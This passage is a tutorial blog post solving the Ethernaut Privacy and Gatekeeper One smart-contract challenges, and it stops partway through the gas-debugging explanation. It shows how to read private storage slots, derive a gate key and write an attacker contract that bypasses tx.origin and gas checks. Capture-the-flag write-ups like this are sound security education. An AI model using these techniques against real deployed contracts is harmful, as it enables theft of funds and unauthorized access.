<p>This is part 4 of my Ethernaut challenge ongoing series. But this is the first one where the challenges require more thinking than just implementing one single exploit. I think these can help you (and me) develop the necessary mental framework to think about smart contract security.</p>
<p>So I decided to treat this as a standalone post and submit it for the Hashnode Writeathon! For the Web3 category!</p>
<p>Here we will hack into three different smart contract by exploiting vulnerabilities. Hopefully you hop along for the ride and learn as much as I did!</p>
<p>The Ethernaut is an Ethereum Smart Contract [security wargame](https://en.wikipedia.org/wiki/Wargame_(hacking) by OpenZeppelin. In which you have to exploit solidity vulnerabilities to hack a smart contract each level. </p>
<p>Each of these vulnerabilities are based on real-life hacks, like <a target="_blank" href="https://www.coindesk.com/learn/2016/06/25/understanding-the-dao-attack/">the infamous DAO hack</a>. And are designed to help you learn how to secure smart contracts from common attacks. You can check out the Ethernaut at <a target="_blank" href="https://ethernaut.openzeppelin.com/">ethernaut.openzeppelin.com</a></p>
<p>Therefore, the goal is to learn how those vulnerabilities work so you can write more secure smart contracts.</p>
<p>...</p>
<h2 id="heading-preliminaries">Preliminaries</h2>
<p>These challenges are complex and require piecing together several exploits. Which will require a little bit longer explanations.</p>
<p>I took the effort of explaining the vulnerabilities in as much detail as I could. Trying to use simple language. But these are not beginner level topics. At least when I started I was completely clueless about what to even do with the Ethernaut challenges.</p>
<p>I am assuming you are already have at least a passing familiarity with solidity and how the EVM (the Ethereum Virtual Machine) works, and are comfortable with some basic mathematical reasoning.</p>
<p>Hopefully you learn a lot. It is well worth the effort!</p>
<p>Let's get started!</p>
<h2 id="heading-12th-challenge-privacy">12th Challenge: Privacy</h2>
<p>We need to unlock this contract by finding out what <code>_key</code> is.</p>
<pre><code class="lang-solidity"><span class="hljs-comment">// SPDX-License-Identifier: MIT</span>
<span class="hljs-meta"><span class="hljs-keyword">pragma</span> <span class="hljs-keyword">solidity</span> ^0.6.0;</span>

<span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">Privacy</span> </span>{

  <span class="hljs-keyword">bool</span> <span class="hljs-keyword">public</span> locked <span class="hljs-operator">=</span> <span class="hljs-literal">true</span>;
  <span class="hljs-keyword">uint256</span> <span class="hljs-keyword">public</span> ID <span class="hljs-operator">=</span> <span class="hljs-built_in">block</span>.<span class="hljs-built_in">timestamp</span>;
  <span class="hljs-keyword">uint8</span> <span class="hljs-keyword">private</span> flattening <span class="hljs-operator">=</span> <span class="hljs-number">10</span>;
  <span class="hljs-keyword">uint8</span> <span class="hljs-keyword">private</span> denomination <span class="hljs-operator">=</span> <span class="hljs-number">255</span>;
  <span class="hljs-keyword">uint16</span> <span class="hljs-keyword">private</span> awkwardness <span class="hljs-operator">=</span> <span class="hljs-keyword">uint16</span>(<span class="hljs-built_in">now</span>);
  <span class="hljs-keyword">bytes32</span>[<span class="hljs-number">3</span>] <span class="hljs-keyword">private</span> data;

  <span class="hljs-function"><span class="hljs-keyword">constructor</span>(<span class="hljs-params"><span class="hljs-keyword">bytes32</span>[<span class="hljs-number">3</span>] <span class="hljs-keyword">memory</span> _data</span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> </span>{
    data <span class="hljs-operator">=</span> _data;
  }

  <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">unlock</span>(<span class="hljs-params"><span class="hljs-keyword">bytes16</span> _key</span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> </span>{
    <span class="hljs-built_in">require</span>(_key <span class="hljs-operator">=</span><span class="hljs-operator">=</span> <span class="hljs-keyword">bytes16</span>(data[<span class="hljs-number">2</span>]));
    locked <span class="hljs-operator">=</span> <span class="hljs-literal">false</span>;
  }

  <span class="hljs-comment">/*
    A bunch of super advanced solidity algorithms...

      ,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`
      .,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,
      *.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^         ,---/V\
      `*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.    ~|__(o.o)
      ^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'  UU  UU
  */</span>
}
</code></pre>
<p>We will need to somehow figure out how to access the private <code>data</code> variable.</p>
<p>In challenge no. 8 (<a target="_blank" href="https://blog.jrlgs.dev/ethernaut-accessing-private-data-denial-of-service-reentrancy-attacks-and-dishonest-contracts">check part 3 of this series</a>) we saw that we can read private variables by reverse-engineering the state variable layout of the smart contract. Here's a small recap from my previous post.</p>
<blockquote>
<p>If you check solidity's documentation you will realize that the <code>private</code> modifier only means that other contracts cannot read the variable. But everything in the blockchain is public and accessible if you are clever enough.</p>
<p>The EVM lays out the storage of a smart contract in a table of \(2^{256}\) slots, each of 32 bytes. Stored sequentially in the order they are declared. And any values of size smaller than 32 bytes will be stored together in the same slot as long as they are sequential and they fit completely in 32 bytes.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1652014954211/fEu4zmoSx.png" alt="DEB9D4B6-34F8-4948-A929-BAEAE4FCF0E5.png" /></p>
</blockquote>
<p>This is a similar problem but will require multiple steps and knowledge on how arrays are stored.</p>
<p>Inspecting the contract, note that we first need to find out what <code>data[2]</code> is. And then cast it as a <code>bytes16</code> value, from its original <code>bytes32</code> type. Let's do each separately.</p>
<h3 id="heading-reverse-engineering-the-state-variable-layout-to-find-data2">Reverse engineering the state variable layout to find <code>data[2]</code></h3>
<p>Here's a nice trick. You don't even have to do the math yourself. When you compile a contract, the compiler exposes the <code>STORAGELAYOUT</code> in its JSON output (check this learn about <a target="_blank" href="https://docs.soliditylang.org/en/v0.6.10/internals/layout_in_storage.html#json-output">the JSON interface for interacting with the compiler</a>).</p>
<p>This field will list all state variables and the size of their types in bytes. So you can easily map them out. Remix exposes this with a neat 1-click interface:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1652343867711/RxVnv8T7P.png" alt="B88DACD4-C421-414A-8FF5-A97202729713.png" /></p>
<p>Here's the storage layout of the <code>Privacy</code> contract. </p>
<pre><code class="lang-json">{
    <span class="hljs-attr">"storage"</span>: [
        {
            <span class="hljs-attr">"astId"</span>: <span class="hljs-number">4</span>,
            <span class="hljs-attr">"contract"</span>: <span class="hljs-string">"contracts/privacy.sol:Privacy"</span>,
            <span class="hljs-attr">"label"</span>: <span class="hljs-string">"locked"</span>,
            <span class="hljs-attr">"offset"</span>: <span class="hljs-number">0</span>,
            <span class="hljs-attr">"slot"</span>: <span class="hljs-string">"0"</span>,
            <span class="hljs-attr">"type"</span>: <span class="hljs-string">"t_bool"</span>
        },
        {
            <span class="hljs-attr">"astId"</span>: <span class="hljs-number">8</span>,
            <span class="hljs-attr">"contract"</span>: <span class="hljs-string">"contracts/privacy.sol:Privacy"</span>,
            <span class="hljs-attr">"label"</span>: <span class="hljs-string">"ID"</span>,
            <span class="hljs-attr">"offset"</span>: <span class="hljs-number">0</span>,
            <span class="hljs-attr">"slot"</span>: <span class="hljs-string">"1"</span>,
            <span class="hljs-attr">"type"</span>: <span class="hljs-string">"t_uint256"</span>
        },
        {
            <span class="hljs-attr">"astId"</span>: <span class="hljs-number">11</span>,
            <span class="hljs-attr">"contract"</span>: <span class="hljs-string">"contracts/privacy.sol:Privacy"</span>,
            <span class="hljs-attr">"label"</span>: <span class="hljs-string">"flattening"</span>,
            <span class="hljs-attr">"offset"</span>: <span class="hljs-number">0</span>,
            <span class="hljs-attr">"slot"</span>: <span class="hljs-string">"2"</span>,
            <span class="hljs-attr">"type"</span>: <span class="hljs-string">"t_uint8"</span>
        },
        {
            <span class="hljs-attr">"astId"</span>: <span class="hljs-number">14</span>,
            <span class="hljs-attr">"contract"</span>: <span class="hljs-string">"contracts/privacy.sol:Privacy"</span>,
            <span class="hljs-attr">"label"</span>: <span class="hljs-string">"denomination"</span>,
            <span class="hljs-attr">"offset"</span>: <span class="hljs-number">1</span>,
            <span class="hljs-attr">"slot"</span>: <span class="hljs-string">"2"</span>,
            <span class="hljs-attr">"type"</span>: <span class="hljs-string">"t_uint8"</span>
        },
        {
            <span class="hljs-attr">"astId"</span>: <span class="hljs-number">20</span>,
            <span class="hljs-attr">"contract"</span>: <span class="hljs-string">"contracts/privacy.sol:Privacy"</span>,
            <span class="hljs-attr">"label"</span>: <span class="hljs-string">"awkwardness"</span>,
            <span class="hljs-attr">"offset"</span>: <span class="hljs-number">2</span>,
            <span class="hljs-attr">"slot"</span>: <span class="hljs-string">"2"</span>,
            <span class="hljs-attr">"type"</span>: <span class="hljs-string">"t_uint16"</span>
        },
        {
            <span class="hljs-attr">"astId"</span>: <span class="hljs-number">24</span>,
            <span class="hljs-attr">"contract"</span>: <span class="hljs-string">"contracts/privacy.sol:Privacy"</span>,
            <span class="hljs-attr">"label"</span>: <span class="hljs-string">"data"</span>,
            <span class="hljs-attr">"offset"</span>: <span class="hljs-number">0</span>,
            <span class="hljs-attr">"slot"</span>: <span class="hljs-string">"3"</span>,
            <span class="hljs-attr">"type"</span>: <span class="hljs-string">"t_array(t_bytes32)3_storage"</span>
        }
    ],
    <span class="hljs-attr">"types"</span>: {
        <span class="hljs-attr">"t_array(t_bytes32)3_storage"</span>: {
            <span class="hljs-attr">"base"</span>: <span class="hljs-string">"t_bytes32"</span>,
            <span class="hljs-attr">"encoding"</span>: <span class="hljs-string">"inplace"</span>,
            <span class="hljs-attr">"label"</span>: <span class="hljs-string">"bytes32[3]"</span>,
            <span class="hljs-attr">"numberOfBytes"</span>: <span class="hljs-string">"96"</span>
        },
        <span class="hljs-attr">"t_bool"</span>: {
            <span class="hljs-attr">"encoding"</span>: <span class="hljs-string">"inplace"</span>,
            <span class="hljs-attr">"label"</span>: <span class="hljs-string">"bool"</span>,
            <span class="hljs-attr">"numberOfBytes"</span>: <span class="hljs-string">"1"</span>
        },
        <span class="hljs-attr">"t_bytes32"</span>: {
            <span class="hljs-attr">"encoding"</span>: <span class="hljs-string">"inplace"</span>,
            <span class="hljs-attr">"label"</span>: <span class="hljs-string">"bytes32"</span>,
            <span class="hljs-attr">"numberOfBytes"</span>: <span class="hljs-string">"32"</span>
        },
        <span class="hljs-attr">"t_uint16"</span>: {
            <span class="hljs-attr">"encoding"</span>: <span class="hljs-string">"inplace"</span>,
            <span class="hljs-attr">"label"</span>: <span class="hljs-string">"uint16"</span>,
            <span class="hljs-attr">"numberOfBytes"</span>: <span class="hljs-string">"2"</span>
        },
        <span class="hljs-attr">"t_uint256"</span>: {
            <span class="hljs-attr">"encoding"</span>: <span class="hljs-string">"inplace"</span>,
            <span class="hljs-attr">"label"</span>: <span class="hljs-string">"uint256"</span>,
            <span class="hljs-attr">"numberOfBytes"</span>: <span class="hljs-string">"32"</span>
        },
        <span class="hljs-attr">"t_uint8"</span>: {
            <span class="hljs-attr">"encoding"</span>: <span class="hljs-string">"inplace"</span>,
            <span class="hljs-attr">"label"</span>: <span class="hljs-string">"uint8"</span>,
            <span class="hljs-attr">"numberOfBytes"</span>: <span class="hljs-string">"1"</span>
        }
    }
}
</code></pre>
<p>With this info we can re-construct the storage layout of the contract.</p>
<pre><code class="lang-terminal">0: &lt;bool&gt; 1 byte
1: &lt;uint256&gt; 32 bytes
2: &lt;uint8, uint8, uint16&gt;1 + 1 + 2 = 4 bytes // these get packed together
3: &lt;bytes32[0]&gt; 32 bytes 
4: &lt;bytes32[1]&gt; 32 bytes 
5: &lt;bytes32[2]&gt; 32 bytes
</code></pre>
<p>Thus, we will need to access slot 5 from the contract's storage:</p>
<pre><code class="lang-js"><span class="hljs-keyword">const</span> key32 = web3.eth.getStorageAt(<span class="xml"><span class="hljs-tag">&lt;<span class="hljs-name">address</span>&gt;</span>, 5)</span>
</code></pre>
<blockquote>
<p>The Ethernaut conveniently exposes web3.js on the browser console already configured for ease of use.</p>
</blockquote>
<p>Which in my case returns the following string:</p>
<pre><code class="lang-terminal">// data[2]
'0x7d32b32e7d56f98818e09dbce8a3eb3f581ea9882475479c0133f2cebcf4a0ed'
</code></pre>
<h3 id="heading-the-first-16-bytes-of-data2">The first 16 bytes of <code>data[2]</code></h3>
<p>Now we will adress the guard in the <code>unlock()</code> function:</p>
<pre><code class="lang-solidity"><span class="hljs-comment">// this line</span>
<span class="hljs-built_in">require</span>(_key <span class="hljs-operator">=</span><span class="hljs-operator">=</span> <span class="hljs-keyword">bytes16</span>(data[<span class="hljs-number">2</span>]));
</code></pre>
<p>What <code>bytes16(&lt;bytes32&gt;)</code> does is take the <em>first</em> 16 bytes of the 32-byte input. Which in this case means the most significant, or the leftmost, bytes.</p>
<p>We have a hexadecimal string, so we know that every digit is 4-bits long. And thus, we need to take the 32 most significant digits:</p>
<pre><code class="lang-js"><span class="hljs-keyword">const</span> key = <span class="hljs-string">`<span class="hljs-subst">${key32.slice(<span class="hljs-number">0</span>, <span class="hljs-number">34</span>)}</span>`</span>
</code></pre>
<p>We slice up to 34 to take into account the first two characters of the <code>0x</code> prefix.</p>
<pre><code><span class="hljs-string">'0x7d32b32e7d56f98818e09dbce8a3eb3f'</span>
</code></pre><h3 id="heading-unlocking-the-contract">Unlocking the contract</h3>
<p>Then, the only thing left to do is to plop the key into the contract. We can do it from the console:</p>
<pre><code class="lang-js"><span class="hljs-keyword">await</span> contract.unlock(key)
</code></pre>
<blockquote>
<p>The contract object is a <a target="_blank" href="https://trufflesuite.com/docs/truffle/reference/contract-abstractions/">truffle contract abstraction</a> exposed in the browser console by the Ethernaut. It's a neat way to interface with smart contracts on the Ethereum (or Ethereum-like) blockchain from JavaScript.</p>
</blockquote>
<p>And we are done!</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1652111127025/bZV57QWes.png" alt="Screen Shot 2022-05-09 at 10.45.02.png" /></p>
<blockquote>
<p>The Ethernaut will show you a fancy congratulatory message on the console when you have successfully completed the challenge.</p>
</blockquote>
<p>...</p>
<p>Ok. Enough warm up. The next challenge will ramp the difficulty quite a lot. </p>
<p>Fasten your decentralized seatbelts!</p>
<hr />
<h2 id="heading-13th-challenge-gatekeeper-one">13th Challenge: Gatekeeper One</h2>
<p>We need to pass all three gates to win this challenge.</p>
<pre><code class="lang-solidity"><span class="hljs-comment">// SPDX-License-Identifier: MIT</span>
<span class="hljs-meta"><span class="hljs-keyword">pragma</span> <span class="hljs-keyword">solidity</span> ^0.6.0;</span>

<span class="hljs-keyword">import</span> <span class="hljs-string">'@openzeppelin/contracts/math/SafeMath.sol'</span>;

<span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">GatekeeperOne</span> </span>{

  <span class="hljs-keyword">using</span> <span class="hljs-title">SafeMath</span> <span class="hljs-title"><span class="hljs-keyword">for</span></span> <span class="hljs-title"><span class="hljs-keyword">uint256</span></span>;
  <span class="hljs-keyword">address</span> <span class="hljs-keyword">public</span> entrant;

  <span class="hljs-function"><span class="hljs-keyword">modifier</span> <span class="hljs-title">gateOne</span>(<span class="hljs-params"></span>) </span>{
    <span class="hljs-built_in">require</span>(<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span> <span class="hljs-operator">!</span><span class="hljs-operator">=</span> <span class="hljs-built_in">tx</span>.<span class="hljs-built_in">origin</span>);
    <span class="hljs-keyword">_</span>;
  }

  <span class="hljs-function"><span class="hljs-keyword">modifier</span> <span class="hljs-title">gateTwo</span>(<span class="hljs-params"></span>) </span>{
    <span class="hljs-built_in">require</span>(<span class="hljs-built_in">gasleft</span>().mod(<span class="hljs-number">8191</span>) <span class="hljs-operator">=</span><span class="hljs-operator">=</span> <span class="hljs-number">0</span>);
    <span class="hljs-keyword">_</span>;
  }

  <span class="hljs-function"><span class="hljs-keyword">modifier</span> <span class="hljs-title">gateThree</span>(<span class="hljs-params"><span class="hljs-keyword">bytes8</span> _gateKey</span>) </span>{
      <span class="hljs-built_in">require</span>(<span class="hljs-keyword">uint32</span>(<span class="hljs-keyword">uint64</span>(_gateKey)) <span class="hljs-operator">=</span><span class="hljs-operator">=</span> <span class="hljs-keyword">uint16</span>(<span class="hljs-keyword">uint64</span>(_gateKey)), <span class="hljs-string">"GatekeeperOne: invalid gateThree part one"</span>);
      <span class="hljs-built_in">require</span>(<span class="hljs-keyword">uint32</span>(<span class="hljs-keyword">uint64</span>(_gateKey)) <span class="hljs-operator">!</span><span class="hljs-operator">=</span> <span class="hljs-keyword">uint64</span>(_gateKey), <span class="hljs-string">"GatekeeperOne: invalid gateThree part two"</span>);
      <span class="hljs-built_in">require</span>(<span class="hljs-keyword">uint32</span>(<span class="hljs-keyword">uint64</span>(_gateKey)) <span class="hljs-operator">=</span><span class="hljs-operator">=</span> <span class="hljs-keyword">uint16</span>(<span class="hljs-built_in">tx</span>.<span class="hljs-built_in">origin</span>), <span class="hljs-string">"GatekeeperOne: invalid gateThree part three"</span>);
    <span class="hljs-keyword">_</span>;
  }

  <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">enter</span>(<span class="hljs-params"><span class="hljs-keyword">bytes8</span> _gateKey</span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> <span class="hljs-title">gateOne</span> <span class="hljs-title">gateTwo</span> <span class="hljs-title">gateThree</span>(<span class="hljs-params">_gateKey</span>) <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">bool</span></span>) </span>{
    entrant <span class="hljs-operator">=</span> <span class="hljs-built_in">tx</span>.<span class="hljs-built_in">origin</span>;
    <span class="hljs-keyword">return</span> <span class="hljs-literal">true</span>;
  }
}
</code></pre>
<p>This challenge doesn't really require much in terms of exploits. Just a bit of math, and understanding how the EVM works. Let's take on each gate modifier at a time.</p>
<h3 id="heading-gate-one-the-txorigin-trick">Gate one - the <code>tx.origin</code> trick</h3>
<p>We will need to do the <code>tx.origin</code> authentication exploit we did on challenge no.4 (<a target="_blank" href="https://blog.jrlgs.dev/ethernaut-phishing-txorigin-arithmetic-overflow-delegatecall-and-forcibly-sending-ether">check part 2 of this series</a>) Here's the recap: </p>
<blockquote>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1651846538933/9lNJHmx0z.png" alt="8403E7FC-90A9-4D4E-8C3A-8AE17661C1F3.png" /></p>
<p>The key is the difference between the two. <code>tx.origin</code> is a global variable that holds the address that initiated the transaction. While <code>msg.sender</code> is the address that called that specific function. <a target="_blank" href="https://docs.soliditylang.org/en/v0.8.13/units-and-global-variables.html?highlight=tx.origin#block-and-transaction-properties">Check out solidity docs page about global variables</a></p>
<p>So the way to hack this is pretty straightforward. Write a new smart contract that forwards your wallet address to the original. Then call the attacking contract from your address.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1651846554992/EbtSFk7Xj.png" alt="A932E859-AB91-42DD-8521-7DCD64846030.png" /></p>
</blockquote>
<p>By now this should be pretty obvious. We just need to call <code>enter()</code> from a new contract, and not from our wallet account. This will ensure that <code>tx.origin != msg.sender</code>. </p>
<p>We will write a contract for this exploit anyways, so this isn't really an issue. <code>tx.origin</code> will be your wallet address, and <code>msg.sender</code> will be the contract we will write.</p>
<p>Let's skip gate two for now as it is the most difficult. We will come back to it.</p>
<h3 id="heading-gate-three-some-math">Gate three - some math</h3>
<p>We will solve this part of the contract:</p>
<pre><code class="lang-solidity"><span class="hljs-function"><span class="hljs-keyword">modifier</span> <span class="hljs-title">gateThree</span>(<span class="hljs-params"><span class="hljs-keyword">bytes8</span> _gateKey</span>) </span>{
      <span class="hljs-built_in">require</span>(<span class="hljs-keyword">uint32</span>(<span class="hljs-keyword">uint64</span>(_gateKey)) <span class="hljs-operator">=</span><span class="hljs-operator">=</span> <span class="hljs-keyword">uint16</span>(<span class="hljs-keyword">uint64</span>(_gateKey)), <span class="hljs-string">"GatekeeperOne: invalid gateThree part one"</span>);
      <span class="hljs-built_in">require</span>(<span class="hljs-keyword">uint32</span>(<span class="hljs-keyword">uint64</span>(_gateKey)) <span class="hljs-operator">!</span><span class="hljs-operator">=</span> <span class="hljs-keyword">uint64</span>(_gateKey), <span class="hljs-string">"GatekeeperOne: invalid gateThree part two"</span>);
      <span class="hljs-built_in">require</span>(<span class="hljs-keyword">uint32</span>(<span class="hljs-keyword">uint64</span>(_gateKey)) <span class="hljs-operator">=</span><span class="hljs-operator">=</span> <span class="hljs-keyword">uint16</span>(<span class="hljs-built_in">tx</span>.<span class="hljs-built_in">origin</span>), <span class="hljs-string">"GatekeeperOne: invalid gateThree part three"</span>);
    <span class="hljs-keyword">_</span>;
  }
</code></pre>
<p>We will need to do some reasoning and use a bit of math to figure out a value for <code>_gateKey</code></p>
<blockquote>
<p>Nothing too complicated though :D</p>
</blockquote>
<p>First, note that <code>uint64</code> is of the same size as <code>bytes8</code>. As 64 bits is exactly 8 bytes. so we could skip the <code>uint64(&lt;bytes8&gt;)</code> function from the implied equations. As it just means that we are casting some bytes as a number. But doing no trimming.</p>
<p>The rest of the functions involve some trimming. Let's map those equations. Let's say \( k\) is the 8-byte key and \( t \) is the 20-byte <code>tx.origin</code> (as it is an address, each of which takes 20 bytes). And \(B_4, B_2\) are functions that trim down the byte array into 4-byte and 2-byte arrays. Corresponding to <code>uint32()</code> and <code>uint16()</code> respectively, but without converting to integers.</p>
<blockquote>
<p>Please note that I am working with bytes instead of bit-sized integers for ease of reasoning. But the contract's code is comparing numbers, not byte strings. This means that we will have to trim the byte string from the rightmost digit (as if we were working with integers), instead of from the leftmost, as we did in the previous exercise!</p>
</blockquote>
<p>$$
\begin{align}
&amp;(1) \quad B_4(k) = B_2(k)\\ 
&amp;(2) \quad B_4(k) \neq k\\ 
&amp;(3) \quad B_4(k) = B_2(t)
\end{align}
$$</p>
<p>Using this information we need to build an 8-byte hexadecimal string (ie. <code>_gateKey</code>). So let's start with:</p>
<pre><code class="lang-terminal">0x00 00 00 00 00 00 00 00 // each byte is represented by two hex characters
</code></pre>
<p>We can combine equation (1) and (3) to claim that </p>
<p>$$
\begin{align}
&amp;(4) \quad B_2(t) = B_2(k)\
\end{align}
$$</p>
<p>Thus by (4) we can say that the last 4 characters of <code>tx.origin</code> must be the same as the key's last. And by (3) the next four characters must be blank, to keep the equality. And the rest we don't know yet.</p>
<p>The last 4 characters of my wallet address are <code>07D2</code>, thus:</p>
<pre><code class="lang-terminal">B_2(k) = 0x07D2
B_4(k) = 0x00 00 07 D2 

// the X represents bytes we don't know yet
k = 0xXX XX XX XX 00 00 07 D2
</code></pre>
<p>Finally, the only requirement left is that those four remaining bytes cannot be all <code>00</code>, as that would fail to satisfy (2).</p>
<p>Let's choose whatever bytes for <code>XX</code> and just say that the key is</p>
<pre><code class="lang-terminal">key = 0x12 34 56 78 00 00 07 D2
</code></pre>
<p>Which must be a valid key. </p>
<p>...</p>
<p>Ok, now we can take on the last, and most difficult, part.</p>
<h3 id="heading-gate-two-controlling-gas-utilization">Gate two - controlling gas utilization</h3>
<p>We need to find a way to bypass <code>gateTwo</code></p>
<pre><code><span class="hljs-function"><span class="hljs-keyword">modifier</span> <span class="hljs-title">gateTwo</span>(<span class="hljs-params"></span>) </span>{
    <span class="hljs-built_in">require</span>(<span class="hljs-built_in">gasleft</span>().mod(<span class="hljs-number">8191</span>) <span class="hljs-operator">=</span><span class="hljs-operator">=</span> <span class="hljs-number">0</span>);
    <span class="hljs-keyword">_</span>;
  }
</code></pre><p>For this one we will need to manipulate carefully the gas utilization of at least a part of our smart contract. Figuring this out is quite involved. But let's give it a shot.</p>
<p>First, <code>gasleft()</code> is a global function in solidity. It returns the amount of gas left in the current transaction as a <code>uint256</code> value. </p>
<p>We can control the amount of gas for an <a target="_blank" href="https://docs.soliditylang.org/en/v0.8.3/control-structures.html#external-function-calls">external function call</a> by using the following syntax:</p>
<pre><code class="lang-solidity"><span class="hljs-comment">// solidity compiler version at least 0.6.2</span>
someContract.someFunction{<span class="hljs-built_in">gas</span>: gasAmount}();
</code></pre>
<p>Thus, we could brute force try 8191 consecutive values of <code>gasAmount</code> starting from, say <code>100000</code>. 8191 is a small enough number so it's reasonable to expect to brute force it in a couple seconds if we write a script.</p>
<p>Therefore, If we do so we are guaranteed to find the correct value. As the gate only requires that the remaining gas is evenly divisible by <code>8191</code> (ie. <code>gasLeft() % 8191 == 0</code>). </p>
<p>Which, everything else being equals, should stay constant given the same particular value of <code>gasAmount</code> set for the external function call. (Because the EVM is deterministic).</p>
<p>Or...</p>
<p>We could use the debugger in Remix to use a scientific approach! To figure out how is the EVM doing its thing. That seems more fun!</p>
<p>Let's try that second, more scientific, option. </p>
<p>I'll use the JavaScript VM to iterate and debug quickly. I will use the Berlin version. And deploy both the victim contract and the one we will write.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1652343918679/sXZsLb1qM.png" alt="1788DD2A-DEEC-42AA-AB1C-8E2CF29BC5B4.png" /></p>
<p>The gas cost of opcodes depends on the current Hard Fork of the network. So when I deploy to the Rinkeby testnet (which is the network that the Ethernaut uses) i will have to do this whole process once more. But knowing what to look for.</p>
<blockquote>
<p>Therefore, it is not a very good idea to set explicit gas values in your contracts. Unless you are doing something really specific like this!</p>
</blockquote>
<p>We will write the contract first, and parametrize the amount of gas we are going to pass to the <code>enter()</code> method of our target contract.</p>
<h4 id="heading-writing-the-contract-to-bypass-the-three-gates">Writing the contract to bypass the three gates</h4>
<p>This is the contract I wrote. It will receive the address of the victim contract as an argument to its constructor. And the <code>_gateKey</code> we figured out in the previous section already baked in for one of the accounts that the JavaScriptVM generates for us. </p>
<p>Most, importantly, it has a <code>bypassUnlock(uint withGasAmount)</code> which allows us to set the gas value when calling. Thus the only independent variable is <code>withGasAmount</code>.</p>
<pre><code class="lang-solidity"><span class="hljs-meta"><span class="hljs-keyword">pragma</span> <span class="hljs-keyword">solidity</span> ^0.6.10;</span>

<span class="hljs-comment">// the interface of our victim contract</span>
<span class="hljs-class"><span class="hljs-keyword">interface</span> <span class="hljs-title">IGateKeeper1</span></span>{
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">enter</span> (<span class="hljs-params"><span class="hljs-keyword">bytes8</span></span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">bool</span></span>)</span>;
}

<span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">GateOneBypasser</span> </span>{
    <span class="hljs-keyword">bytes8</span> key <span class="hljs-operator">=</span> <span class="hljs-number">0x12345678000007D2</span>; <span class="hljs-comment">// _gateKey</span>
    IGateKeeper1 GatedContract;

     <span class="hljs-function"><span class="hljs-keyword">constructor</span> (<span class="hljs-params"><span class="hljs-keyword">address</span> _contract_address</span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> </span>{
         <span class="hljs-comment">// the victim's address</span>
         GatedContract <span class="hljs-operator">=</span> IGateKeeper1(_contract_address);
     }

    <span class="hljs-comment">// the only independent variable is "withGasAmount"</span>
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">bypassUnlock</span>(<span class="hljs-params"><span class="hljs-keyword">uint</span> withGasAmount</span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> </span>{
        GatedContract.enter{<span class="hljs-built_in">gas</span>: withGasAmount}(key);
    }
}
</code></pre>
<p>We will deploy both this and the victim contract to the VM and use the debugger to figure out the amount of gas that will satisfy the second gate.</p>
<p>Once we deployed both contracts. We should run the attack with some amount of gas. The transaction will most likely fail. But we can use the debugger and find the EVM instructions executed at the line:</p>
<pre><code class="lang-solidity"><span class="hljs-built_in">require</span>(<span class="hljs-built_in">gasleft</span>().mod(<span class="hljs-number">8191</span>) <span class="hljs-operator">=</span><span class="hljs-operator">=</span> <span class="hljs-number">0</span>);
</code></pre>
<p>of the target contract. </p>
<h4 id="heading-figuring-out-what-is-happening-in-the-evm">Figuring out what is happening in the EVM</h4>
<p>Then we will look up for the execution step with the <code>GAS</code> instruction from this line. </p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1652343948510/cBcSfWk_I.png" alt="17B078C0-DF41-4FFA-BAAF-FB485FC7843A.png" /></p>
<p>From the <a target="_blank" href="https://ethereum.github.io/yellowpaper/paper.pdf">Ethereum Yellow paper</a>, you can read that this is instruction will return the amount of available gas (p.35). And place it in the top of the memory stack. </p>
<p>The debugger will show that it then places a value on the top of the memory stack. </p>
<p>For example, in one of the runs when I pass <code>gasAmount = 100000</code>  it placed <code>`000000000000000000000000000000000000000000000000000000000000185a2</code> which in decimal is <code>99746</code>.</p>
<p>Here's the hypothesis. The reminder <code>99746 % 8191 = 1454</code> is gonna be compared to 0 and that result will either fail or pass <code>gateTwo</code>. Let's design an experiment to test that hypothesis.</p>
<p>We should expect to see a comparison <code>1454 == 0</code>; in hexadecimal:</p>
<pre><code class="lang-terminal">COMPARE // some comparison instruction
0x00000000000000000000000000000000000000000000000000000000000005ae // 1454
0x0000000000000000000000000000000000000000000000000000000000000000
&gt;&gt; RES 0 // not equal
</code></pre>
<p>If you keep stepping forward you will see the execution of each step up to the <code>EQ</code> instruction at the line we mentioned above. </p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1652343988905/dUPPhghSC.png" alt="814B2EB5-E468-4214-AF9E-9967B2076645.png" /></p>
<p>The <code>EQ</code> instruction performs equality comparisons (yellow paper, p.31). It will compare the first and second items on the memory stack and return the result. <code>1</code> if they are equal, and <code>0</code> otherwise. </p>
<p>It will also remove two items from the memory stack (the items it compared) and add one item (the result).</p>
<p>The memory stack at this point looks like this:</p>
<pre><code class="lang-terminal">0: 0x00000000000000000000000000000000000000000000000000000000000005ae 
1: 0x0000000000000000000000000000000000000000000000000000000000000000 
